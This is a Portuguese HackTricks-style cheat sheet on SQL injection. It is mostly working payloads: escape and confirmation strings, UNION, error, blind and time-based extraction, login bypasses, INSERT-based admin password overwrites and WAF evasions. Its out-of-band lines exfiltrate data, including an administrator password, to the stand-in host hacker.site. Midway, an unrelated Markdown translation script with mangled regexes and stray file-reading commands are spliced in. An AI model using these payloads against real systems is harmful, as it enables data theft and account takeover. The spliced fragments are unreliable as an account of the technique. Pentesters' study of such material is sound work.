SQL Injection

Reading time: 26 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que é SQL injection?

Uma SQL injection é uma falha de segurança que permite a atacantes interferir nas consultas ao banco de dados de uma aplicação. Essa vulnerabilidade pode permitir a atacantes visualizar, modificar ou excluir dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados que a aplicação consiga acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou no conteúdo da aplicação, ou até no comprometimento do servidor ou denial of service.

Detecção do ponto de entrada

Quando um site parece estar vulnerable a SQL injection (SQLi) devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o primeiro passo é entender como injetar dados na consulta sem interrompê-la. Isso requer identificar o método para escapar do contexto atual de forma eficaz. Aqui estão alguns exemplos úteis:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Então, você precisa saber como corrigir a query para que não haja erros. Para corrigir a query você pode inserir dados para que a query anterior aceite os novos dados, ou você pode simplesmente inserir seus dados e adicionar um símbolo de comentário no final.

Note que se você conseguir ver mensagens de erro ou identificar diferenças quando uma query está funcionando e quando não está, essa fase será mais fácil.

Comentários

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmando com operações lógicas

Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma operação lógica e observar os resultados esperados. Por exemplo, um parâmetro GET como ?username=Peter retornando conteúdo idêntico quando modificado para ?username=Peter' or '1'='1 indica uma vulnerabilidade de SQL injection.

Da mesma forma, a aplicação de operações matemáticas funciona como técnica eficaz de confirmação. Por exemplo, se acessar ?id=1 e ?id=2-1 produzir o mesmo resultado, isso indica SQL injection.

Exemplos demonstrando confirmação por operação lógica:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Esta word-list foi criada para tentar confirmar SQLinjections da maneira proposta:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Confirmando pelo tempo

Em alguns casos você não notará nenhuma alteração na página que está testando. Portanto, uma boa forma de discover blind SQL injections é fazer o DB executar ações que terão um impacto no tempo que a página precisa para carregar.
Portanto, vamos usar concat na SQL query para inserir uma operação que levará muito tempo para ser concluída:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Em alguns casos as sleep functions won't be allowed. Então, em vez de usar essas funções você pode fazer a consulta executar operações complexas que levarão vários segundos. Exemplos dessas técnicas serão comentados separadamente para cada tecnologia (se houver).

Identifying Back-end

A melhor forma de identificar o back-end é tentando executar funções dos diferentes back-ends. Você pode usar as sleep functions da seção anterior ou estas (tabela de payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Além disso, se você tiver acesso à saída da consulta, pode fazê-la imprimir a versão do banco de dados.

tip

Como continuação, vamos discutir diferentes métodos para explorar diferentes tipos de SQL Injection. Usaremos MySQL como exemplo.

Identificando com PortSwigger

SQL injection cheat sheet | Web Security Academy

Exploiting Union Based

Detectando o número de colunas

Se você consegue ver a saída da consulta esta é a melhor maneira de explorá-la.
Primeiro de tudo, precisamos descobrir o número de colunas que a requisição inicial está retornando. Isso é porque ambas as consultas devem retornar o mesmo número de colunas.
Dois métodos são tipicamente usados para esse propósito:

Order/Group by

Para determinar o número de colunas em uma consulta, ajuste incrementalmente o número usado nas cláusulas ORDER BY ou GROUP BY até que uma resposta falsa seja recebida. Apesar das funcionalidades distintas de GROUP BY e ORDER BY dentro do SQL, ambos podem ser utilizados identicamente para verificar a contagem de colunas da consulta.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Selecione mais e mais valores null até que a query esteja correta:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Você deve usar null valores, pois em alguns casos o tipo das colunas de ambos os lados da query deve ser o mesmo e null é válido em todos os casos.

Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas

Nos exemplos a seguir vamos recuperar o nome de todos os bancos de dados, o nome das tabelas de um banco de dados e os nomes das colunas de uma tabela:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Há uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas é sempre a mesma metodologia.

Explorando Hidden Union Based

Quando a saída de uma query é visível, mas uma injection union-based parece inalcançável, isso indica a presença de uma hidden union-based injection. Esse cenário frequentemente leva a uma situação de blind injection. Para transformar uma blind injection em uma union-based, é necessário identificar a query de execução no backend.

Isso pode ser realizado através do uso de técnicas de blind injection junto com as tabelas padrão específicas do seu DBMS alvo. Para entender essas tabelas padrão, é recomendado consultar a documentação do DBMS alvo.

Uma vez que a query tenha sido extraída, é necessário adaptar seu payload para fechar com segurança a query original. Em seguida, uma union query é anexada ao seu payload, facilitando a exploração da union-based injection recém-acessível.

Para uma visão mais completa, consulte o artigo completo disponível em Healing Blind Injections.

Explorando Error based

Se por algum motivo você não puder ver a saída da query, mas puder ver as mensagens de erro, você pode usar essas mensagens de erro para ex-filtrate dados do banco de dados.
Seguindo um fluxo semelhante ao da exploração Union Based, você pode conseguir dumpar o DB.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Explorando Blind SQLi

Neste caso você não consegue ver os resultados da query nem os erros, mas consegue distinguir quando a query return um true ou um false porque há conteúdos diferentes na página.
Nesse caso, você pode abusar desse comportamento para fazer o dump do banco de dados char by char:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Este é o mesmo caso que antes, mas em vez de distinguir entre uma resposta true/false da query você pode distinguir entre um erro na SQL query ou não (talvez porque o HTTP server trave). Portanto, neste caso você pode forçar um SQLerror cada vez que adivinhar corretamente o char:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

Neste caso não há nenhuma maneira de distinguir a resposta da consulta com base no contexto da página. Porém, você pode fazer a página demorar mais para carregar se o caractere adivinhado estiver correto. Já vimos essa técnica em uso antes para confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

You can use stacked queries to executar múltiplas queries em sucessão. Observe que, enquanto as queries subsequentes são executadas, os resultados não são retornados para a aplicação. Portanto, esta técnica é principalmente útil em relação a blind vulnerabilities onde você pode usar uma segunda query para acionar um DNS lookup, conditional error ou time delay.

Oracle não suporta stacked queries. MySQL, Microsoft e PostgreSQL suportam-nas: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Se no-other exploitation method worked, você pode tentar fazer o database ex-filtrate as informações para um external host controlado por você. Por exemplo, via DNS queries:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltração de dados fora de banda via XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Exploração Automatizada

Consulte o SQLMap Cheatsheet para explorar uma vulnerabilidade SQLi com sqlmap.

Informações específicas da tecnologia

Já discutimos todas as formas de explorar uma vulnerabilidade SQL Injection. Encontre mais truques dependentes da tecnologia do banco de dados neste livro:

Ou você encontrará muitos truques relacionados a: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Bypass de autenticação

Lista para tentar contornar a funcionalidade de login:

Login bypass List

Raw hash authentication Bypass

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Esta query demonstra uma vulnerabilidade quando MD5 é usado com true para raw output em verificações de autenticação, tornando o sistema suscetível a SQL injection. Atacantes podem explorar isso forjando inputs que, quando hashed, geram partes inesperadas de comandos SQL, permitindo acesso não autorizado.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injetado hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista recomendada:

Você deve usar como username cada linha da lista e como password sempre: Pass1234.
(Estes payloads também estão incluídos na grande lista mencionada no início desta seção)

GBK Authentication Bypass

Se o ' estiver sendo escapado você pode usar %A8%27, e quando o ' for escapado será criado: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

#!/usr/bin/env python3 """ Translate a Markdown file from English to Portuguese while preserving:

  • fenced code blocks (...)
  • inline code (...)
  • markdown links/images and their URLs (text, alt)
  • HTML tags (<...>)
  • special tags/refs like {#...}
  • file paths and filenames (e.g. src/.../file.md)
  • a configurable list of keywords (cloud names, hacking words, etc.)

Usage: pip install googletrans==4.0.0-rc1 python3 translate_md.py input.md output.md

Notes:

  • This script uses googletrans (unofficial API). For large/production use consider a paid translation API.
  • The protection regexes try to be conservative to avoid translating tokens you asked to keep. """

import re import sys from googletrans import Translator

--- Configuration ---

PROTECT_WORDS = [ # cloud / platform / common hacking words / technique names to keep as-is "aws", "gcp", "azure", "Workspace", "leak", "pentesting", "pentest", "SQL", "SQLi", "sql-injection", "sql_injection", "Docker", "Kubernetes", "ldap", "ssrf", "xss", "csrf", "RCE", "LFI", "RFI", "payload", "exploit", "nmap", "burp", "metasploit", "msfconsole", "ssh", "ftp", "http", "https", ] DEST_LANG = "pt" # Portuguese

--- Regexes for protected regions ---

Order matters: longer patterns first

PATTERNS = [ # Fenced code blocks (lang\n...\n), non-greedy (re.compile(r"[\s\S]*?"), "FENCED_CODE"), # HTML tags (re.compile(r"<[^>\n]+>"), "HTML_TAG"), # Markdown images alt (re.compile(r"![.?]([^)])"), "MD_IMAGE"), # Markdown links text -> leave entire link as-is (per instructions) (re.compile(r"[.?]([^)])"), "MD_LINK"), # Inline code ... (re.compile(r"[^]`"), "INLINE_CODE"), # Special tags like {#ref} or {#tab name="..."} or {#endref} (re.compile(r"{#[^}]}"), "SPECIAL_TAG"), # File paths and filenames (simple heuristic: contains slash and maybe extension) (re.compile(r"\b[\w-/]+/[\w-/.]*\w+.\w+\b"), "FILE_PATH"), # Simple filenames with extensions (re.compile(r"\b[\w-/]+?.\w{1,6}\b"), "FILENAME"), ]

Protected standalone words (will be masked within normal text)

PROTECT_WORDS_RE = re.compile( r"\b(" + "|".join(re.escape(w) for w in PROTECT_WORDS) + r")\b", flags=re.IGNORECASE )

--- Helper functions ---

def mask_protected_regions(text, placeholders, start_index=0): """ Replace protected regions matched by PATTERNS with placeholders PROT_n. Save originals in placeholders list. Return new text and next index. """ idx = start_index for pattern, _name in PATTERNS: def _repl(m): nonlocal idx token = f"PROT{idx}_" placeholders.append(m.group(0)) idx += 1 return token text = pattern.sub(_repl, text) return text, idx

def mask_protect_words(text, placeholders, start_index=0): """ Replace words from PROTECT_WORDS with placeholders. """ idx = start_index def _repl(m): nonlocal idx token = f"PROT{idx}_" placeholders.append(m.group(0)) idx += 1 return token return PROTECT_WORDS_RE.sub(_repl, text), idx

def restore_placeholders(text, placeholders): """ Replace PROT_n tokens with their original strings from placeholders. """ def repl(m): i = int(m.group(1)) return placeholders[i] return re.sub(r"PROT(\d+)_", repl, text)

def chunk_and_translate(text, translator, dest=DEST_LANG, max_chars=4000): """ Translate large text by splitting into chunks under max_chars. Returns translated text. """ if not text.strip(): return text

# Split by double newlines to keep paragraphs (greedy accumulation)
parts = text.split("\n\n")
chunks = []
current = []
cur_len = 0
for p in parts:
    plen = len(p) + 2  # account for the separators we'll re-add
    if cur_len + plen > max_chars and current:
        chunks.append("\n\n".join(current))
        current = [p]
        cur_len = plen
    else:
        current.append(p)
        cur_len += plen
if current:
    chunks.append("\n\n".join(current))

translated_parts = []
for chunk in chunks:
    # googletrans can sometimes fail; basic retry
    for attempt in range(3):
        try:
            res = translator.translate(chunk, dest=dest)
            translated_parts.append(res.text)
            break
        except Exception as e:
            if attempt == 2:
                raise
return "\n\n".join(translated_parts)

--- Main processing ---

def translate_markdown(input_text): placeholders = [] # Step 1: Mask fenced code blocks and other protected patterns masked, next_idx = mask_protected_regions(input_text, placeholders, start_index=0)

# Step 2: Mask protect words inside the masked text
masked, next_idx = mask_protect_words(masked, placeholders, start_index=next_idx)

# Now we have masked text where protected tokens are replaced by __PROT_n__.
# Translate the remaining text.
translator = Translator()
translated = chunk_and_translate(masked, translator, dest=DEST_LANG)

# Restore placeholders
restored = restore_placeholders(translated, placeholders)
return restored

def main(): if len(sys.argv) != 3: print("Usage: python3 translate_md.py input.md output.md") sys.exit(1) infile = sys.argv[1] outfile = sys.argv[2] with open(infile, "r", encoding="utf-8") as f: data = f.read() translated = translate_markdown(data) with open(outfile, "w", encoding="utf-8") as f: f.write(translated) print(f"Translated saved to {outfile}")

if name == "main": main()

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontexto)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Declaração INSERT

Modificar a senha de um objeto/usuário existente

Para isso você deve tentar criar um novo objeto com o mesmo nome do "master object" (provavelmente admin no caso de usuários) modificando algo:

  • Criar usuário com nome: AdMIn (letras maiúsculas & minúsculas)
  • Criar um usuário com nome: admin=
  • SQL Truncation Attack (quando há algum tipo de limite de tamanho no username ou email) --> Criar usuário com nome: admin [a lot of spaces] a

SQL Truncation Attack

Se o banco de dados for vulnerável e o número máximo de chars para o username for por exemplo 30 e você quiser se passar pelo usuário admin, tente criar um username chamado: "admin [30 spaces] a" e qualquer senha.

O banco de dados vai verificar se o username introduzido existe no banco. Se não, ele vai cortar o username ao número máximo permitido de caracteres (neste caso para: "admin [25 spaces]") e em seguida ele vai remover automaticamente todos os espaços no final atualizando no banco de dados o usuário "admin" com a nova senha (algum erro pode aparecer, mas isso não significa que não funcionou).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Adicione tantos ','','' quanto considerar necessário para sair da cláusula VALUES. Se o delay for executado, você tem um SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

A cláusula ON DUPLICATE KEY UPDATE no MySQL é utilizada para especificar ações que o banco de dados deve executar quando se tenta inserir uma linha que resultaria em um valor duplicado em um índice UNIQUE ou PRIMARY KEY. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:

Exemplo Payload Injection:

Um injection payload pode ser elaborado da seguinte forma, onde tenta-se inserir duas linhas na tabela users. A primeira linha é uma isca, e a segunda mira no email de um administrador existente com a intenção de atualizar a senha:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Veja como funciona:

  • A query tenta inserir duas linhas: uma para generic_user@example.com e outra para admin_generic@example.com.
  • Se a linha para admin_generic@example.com já existir, a cláusula ON DUPLICATE KEY UPDATE é acionada, instruindo o MySQL a atualizar o campo password da linha existente para "bcrypt_hash_of_newpassword".
  • Consequentemente, a autenticação pode ser tentada usando admin_generic@example.com com a senha correspondente ao hash bcrypt ("bcrypt_hash_of_newpassword" representa o hash bcrypt da nova senha, que deve ser substituído pelo hash real da senha desejada).

Extrair informações

Criando 2 contas ao mesmo tempo

Ao tentar criar um novo usuário, são necessários username, password e email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Usando decimal ou hexadecimal

Com esta técnica você pode extrair informações com apenas 1 conta. É importante notar que você não precisa comentar nada.

Usando hex2dec e substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

To get the text you can use:

cat src/pentesting-web/sql-injection/README.md
less src/pentesting-web/sql-injection/README.md
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
git show HEAD:src/pentesting-web/sql-injection/README.md
curl -s https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md
python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Usando hex e replace (e substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection é uma situação onde a query injetável não é aquela que produz output, mas o output da query injetável é direcionado para a query que produz output. (From Paper)

Exemplo:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass usando alternativas de espaço em branco

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass usando comentários

sql
?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass usando parênteses

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass usando OFFSET, FROM e JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypasses Genéricos

Blacklist usando palavras-chave - bypass usando maiúsculas/minúsculas

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist usando keywords case insensitive - bypass usando um operador equivalente

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Você pode encontrar uma explicação mais aprofundada deste truque no gosecure blog.
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Contornar a Restrição de Nomes de Colunas

Primeiro, observe que se a consulta original e a tabela da qual você quer extrair a flag tiverem a mesma quantidade de colunas você pode simplesmente fazer: 0 UNION SELECT * FROM flag

É possível acessar a terceira coluna de uma tabela sem usar seu nome usando uma consulta como a seguinte: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, então em um sqlinjection isto ficaria assim:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ou usando um comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Este truque foi retirado de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Se a entrada do usuário é concatenada na lista SELECT ou em identificadores de tabela/coluna, prepared statements não ajudam porque bind parameters protegem apenas values, não identifiers. Um padrão vulnerável comum é:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Ideia de exploração: inject a subquery into the field position to exfiltrate arbitrary data:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Notas:

  • Isso funciona mesmo quando a WHERE clause usa um bound parameter, porque a lista de identificadores ainda é concatenada como string.
  • Algumas stacks também permitem controlar o nome da tabela (tablename injection), possibilitando leituras cross-table.
  • Pontos de saída podem refletir o valor selecionado em HTML/JSON, permitindo XSS ou token exfiltration diretamente na resposta.

Mitigações:

  • Nunca concatene identificadores vindos da entrada do usuário. Mapeie nomes de coluna permitidos para uma allow-list fixa e faça a citação adequada dos identificadores.
  • Se acesso dinâmico a tabelas for necessário, restrinja a um conjunto finito e resolva no servidor a partir de um mapeamento seguro.

WAF bypass suggester tools

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Outros Guias

Lista de Detecção de Brute-Force

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks